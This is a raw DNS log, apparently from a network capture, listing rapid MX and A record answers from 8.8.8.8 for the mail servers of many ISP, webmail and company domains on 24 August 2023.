Aug 24, 2023 19:03:19.318831921 CEST	8.8.8.8	192.168.2.8	0x2de2	No error (0)	hgchristian.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.318831921 CEST	8.8.8.8	192.168.2.8	0x2de2	No error (0)	hgchristian.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.366499901 CEST	8.8.8.8	192.168.2.8	0xfa2f	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.560882092 CEST	8.8.8.8	192.168.2.8	0x6a22	No error (0)	yamil.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.560882092 CEST	8.8.8.8	192.168.2.8	0x6a22	No error (0)	yamil.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.576805115 CEST	8.8.8.8	192.168.2.8	0xc832	No error (0)	sbcglobal.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.576805115 CEST	8.8.8.8	192.168.2.8	0xc832	No error (0)	sbcglobal.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.576805115 CEST	8.8.8.8	192.168.2.8	0xc832	No error (0)	sbcglobal.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.576805115 CEST	8.8.8.8	192.168.2.8	0xc832	No error (0)	sbcglobal.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.589286089 CEST	8.8.8.8	192.168.2.8	0xd385	No error (0)	mx2.mailchannels.net		44.235.224.67	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.589286089 CEST	8.8.8.8	192.168.2.8	0xd385	No error (0)	mx2.mailchannels.net		44.226.80.61	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.606730938 CEST	8.8.8.8	192.168.2.8	0x7b96	No error (0)	ff-ip4-mx-vip2.prodigy.net		144.160.159.22	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.804296017 CEST	8.8.8.8	192.168.2.8	0x1f8a	No error (0)	frontier.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.804296017 CEST	8.8.8.8	192.168.2.8	0x1f8a	No error (0)	frontier.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.804296017 CEST	8.8.8.8	192.168.2.8	0x1f8a	No error (0)	frontier.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.804296017 CEST	8.8.8.8	192.168.2.8	0x1f8a	No error (0)	frontier.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.804296017 CEST	8.8.8.8	192.168.2.8	0x1f8a	No error (0)	frontier.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.830655098 CEST	8.8.8.8	192.168.2.8	0xf972	No error (0)	mx.frontiernet.net		66.133.129.79	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.918945074 CEST	8.8.8.8	192.168.2.8	0xd4a	No error (0)	bellsouth.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.918945074 CEST	8.8.8.8	192.168.2.8	0xd4a	No error (0)	bellsouth.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.918945074 CEST	8.8.8.8	192.168.2.8	0xd4a	No error (0)	bellsouth.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.918945074 CEST	8.8.8.8	192.168.2.8	0xd4a	No error (0)	bellsouth.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.949214935 CEST	8.8.8.8	192.168.2.8	0xb9a8	No error (0)	al-ip4-mx-vip2.prodigy.net		144.160.235.144	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:22.527013063 CEST	8.8.8.8	192.168.2.8	0x5a58	No error (0)	hanmail.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.527013063 CEST	8.8.8.8	192.168.2.8	0x5a58	No error (0)	hanmail.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.527013063 CEST	8.8.8.8	192.168.2.8	0x5a58	No error (0)	hanmail.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.527013063 CEST	8.8.8.8	192.168.2.8	0x5a58	No error (0)	hanmail.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.602754116 CEST	8.8.8.8	192.168.2.8	0x22f4	No error (0)	cox.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.631886959 CEST	8.8.8.8	192.168.2.8	0xa69a	No error (0)	cxr.mx.a.cloudfilter.net		34.212.80.54	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:22.631886959 CEST	8.8.8.8	192.168.2.8	0xa69a	No error (0)	cxr.mx.a.cloudfilter.net		52.73.137.222	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:22.631886959 CEST	8.8.8.8	192.168.2.8	0xa69a	No error (0)	cxr.mx.a.cloudfilter.net		18.209.118.139	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:22.631886959 CEST	8.8.8.8	192.168.2.8	0xa69a	No error (0)	cxr.mx.a.cloudfilter.net		35.162.106.154	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:22.709331989 CEST	8.8.8.8	192.168.2.8	0x4cfa	No error (0)	mx1.hanmail.net		211.249.219.37	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:23.044639111 CEST	8.8.8.8	192.168.2.8	0x2c57	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.044639111 CEST	8.8.8.8	192.168.2.8	0x2c57	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.066998959 CEST	8.8.8.8	192.168.2.8	0xa89b	No error (0)	mx00.mail.com		74.208.5.20	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:23.091692924 CEST	8.8.8.8	192.168.2.8	0x447	No error (0)	cs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.140203953 CEST	8.8.8.8	192.168.2.8	0x2ea9	No error (0)	flash.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.140203953 CEST	8.8.8.8	192.168.2.8	0x2ea9	No error (0)	flash.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.140203953 CEST	8.8.8.8	192.168.2.8	0x2ea9	No error (0)	flash.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.140203953 CEST	8.8.8.8	192.168.2.8	0x2ea9	No error (0)	flash.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.321679115 CEST	8.8.8.8	192.168.2.8	0x1da6	No error (0)	mchsi.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.321679115 CEST	8.8.8.8	192.168.2.8	0x1da6	No error (0)	mchsi.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.348387003 CEST	8.8.8.8	192.168.2.8	0x6e92	No error (0)	mcc-east.mx.a.cloudfilter.net		34.192.198.103	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:23.348387003 CEST	8.8.8.8	192.168.2.8	0x6e92	No error (0)	mcc-east.mx.a.cloudfilter.net		3.209.17.26	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:23.433876038 CEST	8.8.8.8	192.168.2.8	0xb6fb	No error (0)	telusplanet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.433876038 CEST	8.8.8.8	192.168.2.8	0xb6fb	No error (0)	telusplanet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.433876038 CEST	8.8.8.8	192.168.2.8	0xb6fb	No error (0)	telusplanet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.433876038 CEST	8.8.8.8	192.168.2.8	0xb6fb	No error (0)	telusplanet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.433876038 CEST	8.8.8.8	192.168.2.8	0xb6fb	No error (0)	telusplanet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.467375994 CEST	8.8.8.8	192.168.2.8	0x8dee	No error (0)	inode.at			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.476051092 CEST	8.8.8.8	192.168.2.8	0x8904	No error (0)	alt4.aspmx.l.google.com		173.194.202.26	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:23.523559093 CEST	8.8.8.8	192.168.2.8	0xc3b2	No error (0)	mx.mymagenta.at		80.109.253.242	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:24.614042044 CEST	8.8.8.8	192.168.2.8	0xb29f	No error (0)	atlanticbb.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:24.614042044 CEST	8.8.8.8	192.168.2.8	0xb29f	No error (0)	atlanticbb.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:27.698575974 CEST	8.8.8.8	192.168.2.8	0x951a	No error (0)	charter.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:27.738986969 CEST	8.8.8.8	192.168.2.8	0xcfc6	No error (0)	mx0.charter.net		47.43.18.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:27.765425920 CEST	8.8.8.8	192.168.2.8	0x6e5c	No error (0)	mx02-brz.echolabs.net		38.111.141.152	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:27.874775887 CEST	8.8.8.8	192.168.2.8	0x368d	No error (0)	cruzio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:27.890976906 CEST	8.8.8.8	192.168.2.8	0x146a	No error (0)	embarqmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:27.915293932 CEST	8.8.8.8	192.168.2.8	0x7894	No error (0)	mx.centurylink.net		44.237.12.42	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:27.915293932 CEST	8.8.8.8	192.168.2.8	0x7894	No error (0)	mx.centurylink.net		34.226.24.72	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:27.915293932 CEST	8.8.8.8	192.168.2.8	0x7894	No error (0)	mx.centurylink.net		54.88.152.217	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:27.915293932 CEST	8.8.8.8	192.168.2.8	0x7894	No error (0)	mx.centurylink.net		35.167.34.51	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.189660072 CEST	8.8.8.8	192.168.2.8	0x85e5	No error (0)	mx.cruzio.com.cust.b.hostedemail.com		64.98.38.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.216120958 CEST	8.8.8.8	192.168.2.8	0xb752	No error (0)	cheerful.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.216120958 CEST	8.8.8.8	192.168.2.8	0xb752	No error (0)	cheerful.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.278856993 CEST	8.8.8.8	192.168.2.8	0xbfa1	No error (0)	prodigy.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.278856993 CEST	8.8.8.8	192.168.2.8	0xbfa1	No error (0)	prodigy.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.278856993 CEST	8.8.8.8	192.168.2.8	0xbfa1	No error (0)	prodigy.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.278856993 CEST	8.8.8.8	192.168.2.8	0xbfa1	No error (0)	prodigy.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.554023027 CEST	8.8.8.8	192.168.2.8	0xafe0	No error (0)	aidarodriguezlaw.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.582082033 CEST	8.8.8.8	192.168.2.8	0xcebb	No error (0)	shaw.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.590970993 CEST	8.8.8.8	192.168.2.8	0xf74d	No error (0)	aidarodriguezlaw-com.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.590970993 CEST	8.8.8.8	192.168.2.8	0xf74d	No error (0)	aidarodriguezlaw-com.mail.protection.outlook.com		52.101.42.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.590970993 CEST	8.8.8.8	192.168.2.8	0xf74d	No error (0)	aidarodriguezlaw-com.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.590970993 CEST	8.8.8.8	192.168.2.8	0xf74d	No error (0)	aidarodriguezlaw-com.mail.protection.outlook.com		52.101.40.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.590970993 CEST	8.8.8.8	192.168.2.8	0xf74d	No error (0)	aidarodriguezlaw-com.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.590970993 CEST	8.8.8.8	192.168.2.8	0xf74d	No error (0)	aidarodriguezlaw-com.mail.protection.outlook.com		52.101.40.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.613852978 CEST	8.8.8.8	192.168.2.8	0x894a	No error (0)	shw-central.mx.a.cloudfilter.net		3.96.81.40	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.613852978 CEST	8.8.8.8	192.168.2.8	0x894a	No error (0)	shw-central.mx.a.cloudfilter.net		15.222.199.59	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.643059969 CEST	8.8.8.8	192.168.2.8	0xb35b	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.665391922 CEST	8.8.8.8	192.168.2.8	0xa5e6	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.51.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.665391922 CEST	8.8.8.8	192.168.2.8	0xa5e6	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.57.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.711483955 CEST	8.8.8.8	192.168.2.8	0xc4a4	No error (0)	erols.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.723506927 CEST	8.8.8.8	192.168.2.8	0x3760	No error (0)	dbrj.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.753737926 CEST	8.8.8.8	192.168.2.8	0xd8df	No error (0)	postoffice.omnis.com		216.239.133.242	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.818015099 CEST	8.8.8.8	192.168.2.8	0xa6fd	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.818015099 CEST	8.8.8.8	192.168.2.8	0xa6fd	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.818015099 CEST	8.8.8.8	192.168.2.8	0xa6fd	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.818015099 CEST	8.8.8.8	192.168.2.8	0xa6fd	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.818015099 CEST	8.8.8.8	192.168.2.8	0xa6fd	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.858876944 CEST	8.8.8.8	192.168.2.8	0x5430	No error (0)	mac.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.858876944 CEST	8.8.8.8	192.168.2.8	0x5430	No error (0)	mac.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.858876944 CEST	8.8.8.8	192.168.2.8	0x5430	No error (0)	mac.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.861066103 CEST	8.8.8.8	192.168.2.8	0xb0b7	No error (0)	alt2.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.905518055 CEST	8.8.8.8	192.168.2.8	0x1b2f	No error (0)	whti.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.036230087 CEST	8.8.8.8	192.168.2.8	0xfdde	No error (0)	kwr.com.my			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.064692974 CEST	8.8.8.8	192.168.2.8	0xdfdc	No error (0)	mx.rcn.com		129.159.122.98	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.075963974 CEST	8.8.8.8	192.168.2.8	0xc10b	No error (0)	mx.townes.ispn.net		64.35.208.175	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.108006954 CEST	8.8.8.8	192.168.2.8	0x21b	No error (0)	telus.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.108006954 CEST	8.8.8.8	192.168.2.8	0x21b	No error (0)	telus.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.108006954 CEST	8.8.8.8	192.168.2.8	0x21b	No error (0)	telus.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.108006954 CEST	8.8.8.8	192.168.2.8	0x21b	No error (0)	telus.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.108006954 CEST	8.8.8.8	192.168.2.8	0x21b	No error (0)	telus.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.150821924 CEST	8.8.8.8	192.168.2.8	0xf3e8	No error (0)	alt3.aspmx.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.154386997 CEST	8.8.8.8	192.168.2.8	0x180b	No error (0)	spvm.qc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.208920002 CEST	8.8.8.8	192.168.2.8	0x64f1	No error (0)	mail.spvm.qc.ca		142.246.255.253	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.299601078 CEST	8.8.8.8	192.168.2.8	0xa29d	No error (0)	yahoo.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.299601078 CEST	8.8.8.8	192.168.2.8	0xa29d	No error (0)	yahoo.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.299601078 CEST	8.8.8.8	192.168.2.8	0xa29d	No error (0)	yahoo.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.324562073 CEST	8.8.8.8	192.168.2.8	0x34f5	No error (0)	mta6.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.324562073 CEST	8.8.8.8	192.168.2.8	0x34f5	No error (0)	mta6.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.324562073 CEST	8.8.8.8	192.168.2.8	0x34f5	No error (0)	mta6.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.324562073 CEST	8.8.8.8	192.168.2.8	0x34f5	No error (0)	mta6.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.324562073 CEST	8.8.8.8	192.168.2.8	0x34f5	No error (0)	mta6.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.324562073 CEST	8.8.8.8	192.168.2.8	0x34f5	No error (0)	mta6.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.324562073 CEST	8.8.8.8	192.168.2.8	0x34f5	No error (0)	mta6.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.324562073 CEST	8.8.8.8	192.168.2.8	0x34f5	No error (0)	mta6.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.389669895 CEST	8.8.8.8	192.168.2.8	0xdb94	No error (0)	mail.kwr.com.my		43.225.108.107	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.667546988 CEST	8.8.8.8	192.168.2.8	0x76f5	No error (0)	panduit.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.667546988 CEST	8.8.8.8	192.168.2.8	0x76f5	No error (0)	panduit.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.667546988 CEST	8.8.8.8	192.168.2.8	0x76f5	No error (0)	panduit.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.667546988 CEST	8.8.8.8	192.168.2.8	0x76f5	No error (0)	panduit.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.840877056 CEST	8.8.8.8	192.168.2.8	0x24f2	No error (0)	mxb-002f5901.gslb.pphosted.com		67.231.156.49	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.840960979 CEST	8.8.8.8	192.168.2.8	0xb00b	No error (0)	snclavalin.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.840960979 CEST	8.8.8.8	192.168.2.8	0xb00b	No error (0)	snclavalin.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.943721056 CEST	8.8.8.8	192.168.2.8	0x8090	No error (0)	turbulent.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.943721056 CEST	8.8.8.8	192.168.2.8	0x8090	No error (0)	turbulent.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.943721056 CEST	8.8.8.8	192.168.2.8	0x8090	No error (0)	turbulent.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.943721056 CEST	8.8.8.8	192.168.2.8	0x8090	No error (0)	turbulent.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.943721056 CEST	8.8.8.8	192.168.2.8	0x8090	No error (0)	turbulent.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.943721056 CEST	8.8.8.8	192.168.2.8	0x8090	No error (0)	turbulent.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.943721056 CEST	8.8.8.8	192.168.2.8	0x8090	No error (0)	turbulent.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.980295897 CEST	8.8.8.8	192.168.2.8	0x1dc6	No error (0)	mxa-0028ed01.gslb.pphosted.com		67.231.158.200	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.986182928 CEST	8.8.8.8	192.168.2.8	0x48ae	No error (0)	ALT1.ASPMX.L.GOOGLE.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.098133087 CEST	8.8.8.8	192.168.2.8	0x2130	No error (0)	paris.fr			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.098133087 CEST	8.8.8.8	192.168.2.8	0x2130	No error (0)	paris.fr			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.098133087 CEST	8.8.8.8	192.168.2.8	0x2130	No error (0)	paris.fr			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.147041082 CEST	8.8.8.8	192.168.2.8	0x861a	No error (0)	mdpmails21.paris.fr		194.153.110.15	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.173278093 CEST	8.8.8.8	192.168.2.8	0xc71e	No error (0)	beachway.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.211806059 CEST	8.8.8.8	192.168.2.8	0xe07f	No error (0)	beachway-com.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.211806059 CEST	8.8.8.8	192.168.2.8	0xe07f	No error (0)	beachway-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.322866917 CEST	8.8.8.8	192.168.2.8	0x30cc	No error (0)	cogeco.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.322866917 CEST	8.8.8.8	192.168.2.8	0x30cc	No error (0)	cogeco.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.364908934 CEST	8.8.8.8	192.168.2.8	0x2bc5	No error (0)	kimo.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.406765938 CEST	8.8.8.8	192.168.2.8	0x15d2	No error (0)	moneris.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.433794975 CEST	8.8.8.8	192.168.2.8	0x4796	No error (0)	mx-tw.mail.gm0.yahoodns.net		106.10.248.73	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.433794975 CEST	8.8.8.8	192.168.2.8	0x4796	No error (0)	mx-tw.mail.gm0.yahoodns.net		106.10.248.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.444441080 CEST	8.8.8.8	192.168.2.8	0xad01	No error (0)	moneris-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.444441080 CEST	8.8.8.8	192.168.2.8	0xad01	No error (0)	moneris-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.454828978 CEST	8.8.8.8	192.168.2.8	0x59cf	No error (0)	mx.cogeco.net		129.158.33.68	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.508622885 CEST	8.8.8.8	192.168.2.8	0x30cc	No error (0)	cogeco.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.508622885 CEST	8.8.8.8	192.168.2.8	0x30cc	No error (0)	cogeco.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.804164886 CEST	8.8.8.8	192.168.2.8	0x7003	No error (0)	canadapost.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.804164886 CEST	8.8.8.8	192.168.2.8	0x7003	No error (0)	canadapost.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.974565983 CEST	8.8.8.8	192.168.2.8	0x2c14	No error (0)	sympatico.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.992583990 CEST	8.8.8.8	192.168.2.8	0x42f3	No error (0)	mxb-0062aa01.gslb.pphosted.com		67.231.150.88	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.049788952 CEST	8.8.8.8	192.168.2.8	0x4052	No error (0)	thalesgroup.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.049788952 CEST	8.8.8.8	192.168.2.8	0x4052	No error (0)	thalesgroup.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.095113039 CEST	8.8.8.8	192.168.2.8	0x7f5d	No error (0)	mx.sympatico.ca		209.71.212.24	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.097055912 CEST	8.8.8.8	192.168.2.8	0x7f05	No error (0)	mx01.thalesgroup.com		23.90.119.252	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.132060051 CEST	8.8.8.8	192.168.2.8	0x963e	No error (0)	dial.pipex.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.132060051 CEST	8.8.8.8	192.168.2.8	0x963e	No error (0)	dial.pipex.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.162292004 CEST	8.8.8.8	192.168.2.8	0x2d14	No error (0)	mx.tiscali.co.uk		62.24.139.42	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.199062109 CEST	8.8.8.8	192.168.2.8	0x41ef	No error (0)	mcon2.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.199628115 CEST	8.8.8.8	192.168.2.8	0x7a0c	No error (0)	cgi.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.199628115 CEST	8.8.8.8	192.168.2.8	0x7a0c	No error (0)	cgi.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.238337040 CEST	8.8.8.8	192.168.2.8	0x9a29	No error (0)	mcon2-com.mail.protection.outlook.com		104.47.55.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.238337040 CEST	8.8.8.8	192.168.2.8	0x9a29	No error (0)	mcon2-com.mail.protection.outlook.com		104.47.70.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.309897900 CEST	8.8.8.8	192.168.2.8	0x9ca7	No error (0)	canyontech.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.362329960 CEST	8.8.8.8	192.168.2.8	0x1e01	No error (0)	canyontech.ca		198.252.106.192	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.368580103 CEST	8.8.8.8	192.168.2.8	0xc614	No error (0)	bevsupport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.368580103 CEST	8.8.8.8	192.168.2.8	0xc614	No error (0)	bevsupport.com			MX (Mail exchange)	IN (0x0001)	false
